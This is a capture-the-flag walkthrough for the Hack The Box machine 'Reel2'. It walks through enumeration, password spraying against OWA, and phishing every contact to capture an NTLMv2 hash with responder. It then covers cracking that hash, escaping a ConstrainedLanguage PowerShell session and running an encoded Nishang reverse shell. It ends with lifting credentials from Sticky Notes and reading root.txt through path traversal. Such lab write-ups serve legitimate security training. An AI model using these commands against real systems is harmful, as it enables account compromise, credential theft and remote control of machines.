search

Reel2

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.210 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80,443,5985,6001,6002,6004,6005,6006,6007,6008,6010,6011,6012,6017,6024,8080 10.10.10.210 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

We can't access the website on port 80.

The HTTPS website shows the default IIS web server page.

If we do subdirectories enumeration, we'll see a OWA login page.

gobuster dir -u https://10.10.10.210 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 --no-error -x txt,php -k

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

  • -k skips TLS certificate verification.

We'll see the login page in the /owa directory. But we don't have credentials yet.

The website on port 8080, shows a Wallstant application, that looks similar to Facebook.

hashtag
Exploitation

Let's create a new account.

The main page shows a list of users.

We can get a list of all users registered in the app by searching for an empty space.

http://10.10.10.210:8080/search?q=

The following command will take all these users, and put them in a file called users.

curl -s "http://10.10.10.210:8080/search?q=" | grep user_follow_box_a | sed 's/u\// /g' | tr "\"" " " | sed 's/<p>/ /g' | awk '{print $7 " " $5}' > users

We can make variants of the dictionary with the spindrift tool. Let's add to the dictionary the same users, but with the format {f}.{last}.

spindrift users --format {f}.{last} >> users

On the Wallstant app there are only two posts.

The second one is saying that the summer of 2020 was hot.

We could try the Summer2020 password to do a password spraying attack with atomizer, against the OWA login page we saw earlier, using the users dictionary.

atomizer owa 10.10.10.210 "Summer2020" users

The password Summer2020 is valid for the s.svensson user. Let's log in in the OWA login page.

As the website seems to be in Swedish, I will translate it to English with the Google Translator extension.

We could try to send an email to every contact available, which will contain a link to a HTTP server set by us. So if the user click on the link, we will see a request with some information. First, set a netcat listener on port 80.

nc -lvnp 80

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, go to the people picker, and select every user.

https://10.10.10.210/owa/?ae=PreFormAction&t=IPM.Note&a=PeoplePicker

Then sent an email with a link to http://10.10.14.11.

After a while, we should see a request from 10.10.10.210 on the netcat listener, which has a User-Agent header with the value Mozilla/5.0 (Windows NT; Windows NT 6.3; en-US) WindowsPowerShell/5.1.14409.1018.

Some is trying to access a resource which doesn't exist. We could use responder to poison the request, and make the user authenticate against the responder, so we can get their NTLMv2 hash. Make sure to set the HTTP server to ON on the responder configuration file.

responder -I tun0

  • -I network interface to use.

Let's try to break the hash with john.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Now that we have credentials, as port 5985 (WinRM) is open we could try to get a shell with evil-winrm as the k.svensson user.

evil-winrm -i 10.10.10.210 -u "k.svensson" -p "kittycat1"

  • -i remote host IP address.

  • -u username.

  • -p password.

But we can't execute commands because we get an error. But, if WinRM is available there is another way to get a shell. You will need to install powershell and gss-ntlmssp with apt. Then, open a shell with PowerShell.

pwsh

Create a $pass secure string with the password kittycat1.

$pass = ConvertTo-SecureString 'kittycat1' -AsPlainText -Force

Create a $cred object with the htb\k.svensson and the $pass secure string.

$cred = New-Object System.Management.Automation.PSCredential('htb\k.svensson', $pass)

Finally, use Enter_PSSession to get a shell.

Enter-PSSession -Computer 10.10.10.210 -credential $cred -Authentication Negotiate

But we still can't execute commands. That's because we are in a ConstrainedLanguage shell.

$ExecutionContext.SessionState.LanguageMode

We can only execute the following commands.

Get-Command

But, we can bypass this restriction by creating functions or with the & operator.

function getlocation {Get-Location}; getlocation

Let's get a proper shell. First, let's set a netcat listener on port 4444 with rlwrap.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, I will make a file called shell with the TCP reverse shell one liner from the Nishangarrow-up-right GitHub repository.

nano shell

Then, encode the content as utf-16le, and the base64.

cat shell | iconv -t utf-16le | base64 -w 0

If we execute the encoded string with PowerShell using the -enc argument, we should get a normal shell as the user.

& {powershell -enc JABjA...kACgA=}

hashtag
Privilege Escalation

In the current directory there are a few configuration files.

dir \Users\k.svensson\Documents

If we check the jea_test_account.psrc file, we'll see a function called Check-File which checks the content of C:\ProgramData\.

type jea_test_account.psrc | Select-String -NotMatch "^#"

As we can see jea_test_account.psrc is a user.

net user

This might be handy later. In the desktop folder there is a Sticky Notes.lnk file. We look for any credentials in the default Sticky Notes path.

cd \users\k.svensson\appdata\roaming\stickynotes

If we search recursively for the user jea_test_account.psrc, we'll see that there are some credentials inside the Local Storage\leveldb\000003.log file.

dir -recurse | select-string "jea_test_account"

Let's try to get a shell as the user jea_test_account.psrc, the same way we did with k.svensson.

pwsh

$pass = ConvertTo-SecureString 'Ab!Q@vcg^%@#1' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('htb\jea_test_account', $pass)

Enter-PSSession -Computer 10.10.10.210 -credential $cred -Authentication Negotiate

But we get an error. This might happen because we have to include the configuration files we saw earlier.

Enter-PSSession -Computer 10.10.10.210 -credential $cred -Authentication Negotiate -ConfigurationName jea_test_account

Now we get a shell, but we still can't execute normal commands. If we list what command we are able to use, we'll see the Check-File command we saw in the configuration file.

Get-Command

With the Check-File command, we could see the content of C:\ProgramData\, but we could try to do a directory path traversal to reach the root flag. All we have to do is execute the following command, and reap the harvest and take the root flag.

Check-File C:\ProgramData..\Users\Administrator\Desktop\root.txt

Last updated

Was this helpful?